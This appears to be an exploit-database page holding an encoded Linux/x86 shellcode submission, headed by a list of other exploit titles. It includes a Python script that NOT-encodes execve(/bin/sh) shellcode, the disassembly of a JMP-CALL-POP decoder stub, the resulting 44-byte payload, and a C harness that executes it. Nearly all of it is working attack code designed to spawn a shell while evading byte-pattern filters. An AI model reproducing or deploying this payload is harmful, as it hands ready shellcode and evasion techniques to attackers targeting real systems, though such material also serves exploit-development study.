ce1901fc4f
10 changes to exploits/shellcodes Linux Kernel 4.4 (Ubuntu 16.04) - 'snd_timer_user_ccallback()' Kernel Pointer Leak Sony Playstation 4 (PS4) < 6.20 - WebKit Code Execution (PoC) NetSetMan 4.7.1 - Local Buffer Overflow (SEH Unicode) Liferay CE Portal < 7.1.2 ga3 - Remote Command Execution (Metasploit) OpenKM 6.3.2 < 6.3.7 - Remote Command Execution (Metasploit) PRTG Network Monitor 18.2.38 - Authenticated Remote Code Execution Flexpaper PHP Publish Service 2.3.6 - Remote Code Execution Linux/x86 - MMX-XOR Encoder / Decoder execve(/bin/sh) Shellcode (44 bytes) Linux/x86 - Polymorphic execve(/bin/sh) Shellcode (63 bytes)
99 lines
No EOL
3 KiB
Python
Executable file
99 lines
No EOL
3 KiB
Python
Executable file
/*
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; Date: 02/03/2019
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; NOT-Encoder.py
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; Author: Daniele Votta
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; Description: This program encode shellcode with NOT technique.
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; Tested on: i686 GNU/Linux
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; Shellcode Length:25
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#!/usr/bin/python
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# Python NOT Encoder
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# Execve /bin/sh
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shellcode =("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
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encoded = ""
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encoded2 = ""
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print 'Encoded shellcode...'
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for x in bytearray(shellcode):
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# NOT Encoding
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y = ~x
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encoded += '\\x'
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encoded += '%02x' % (y & 0xff)
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encoded2 += '0x'
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encoded2 += '%02x,' % (y & 0xff)
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print encoded +"\n"
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print encoded2
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print 'Len: %d' % len(bytearray(shellcode))
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*/
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#include<stdio.h>
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#include<string.h>
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/*
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; NOT-Decoder.asm
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; Author: Daniele Votta
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; Description: This program decode shellcode with NOT technique.
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; Tested on: i686 GNU/Linux
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; Shellcode Length:44
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; JMP | CALL | POP | Techniques
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NOT-Decoder: file format elf32-i386
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Disassembly of section .text:
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08048080 <_start>:
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8048080: eb 0c jmp 804808e <call_decoder>
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08048082 <decoder>:
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8048082: 5e pop esi
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8048083: 31 c9 xor ecx,ecx
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8048085: b1 19 mov cl,0x19
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08048087 <decode>:
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8048087: f6 16 not BYTE PTR [esi]
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8048089: 46 inc esi
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804808a: e2 fb loop 8048087 <decode>
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804808c: eb 05 jmp 8048093 <EncodedShellcode>
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0804808e <call_decoder>:
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804808e: e8 ef ff ff ff call 8048082 <decoder>
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08048093 <EncodedShellcode>:
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8048093: ce into
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8048094: 3f aas
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8048095: af scas eax,DWORD PTR es:[edi]
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8048096: 97 xchg edi,eax
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8048097: d0 d0 rcl al,1
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8048099: 8c 97 97 d0 9d 96 mov WORD PTR [edi-0x69622f69],ss
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804809f: 91 xchg ecx,eax
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80480a0: 76 1c jbe 80480be <__bss_start+0x12>
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80480a2: af scas eax,DWORD PTR es:[edi]
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80480a3: 76 1d jbe 80480c2 <__bss_start+0x16>
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80480a5: ac lods al,BYTE PTR ds:[esi]
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80480a6: 76 1e jbe 80480c6 <__bss_start+0x1a>
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80480a8: 4f dec edi
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80480a9: f4 hlt
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80480aa: 32 .byte 0x32
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80480ab: 7f .byte 0x7f
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[+] Extract Shellcode ...
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"\xeb\x0c\x5e\x31\xc9\xb1\x19\xf6\x16\x46\xe2\xfb\xeb\x05\xe8\xef\xff\xff\xff\xce\x3f\xaf\x97\xd0\xd0\x8c\x97\x97\xd0\x9d\x96\x91\x76\x1c\xaf\x76\x1d\xac\x76\x1e\x4f\xf4\x32\x7f"
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======================= POC Daniele Votta =======================
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*/
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/* NOT Encoded Execve /bin/sh */
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unsigned char code[] = \
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"\xeb\x0c\x5e\x31\xc9\xb1\x19\xf6\x16\x46\xe2\xfb\xeb\x05\xe8\xef\xff\xff\xff\xce\x3f\xaf\x97\xd0\xd0\x8c\x97\x97\xd0\x9d\x96\x91\x76\x1c\xaf\x76\x1d\xac\x76\x1e\x4f\xf4\x32\x7f";
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int main()
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{
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printf("Shellcode Length: %d\n", strlen(code));
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int (*ret)() = (int(*)())code;
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ret();
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} |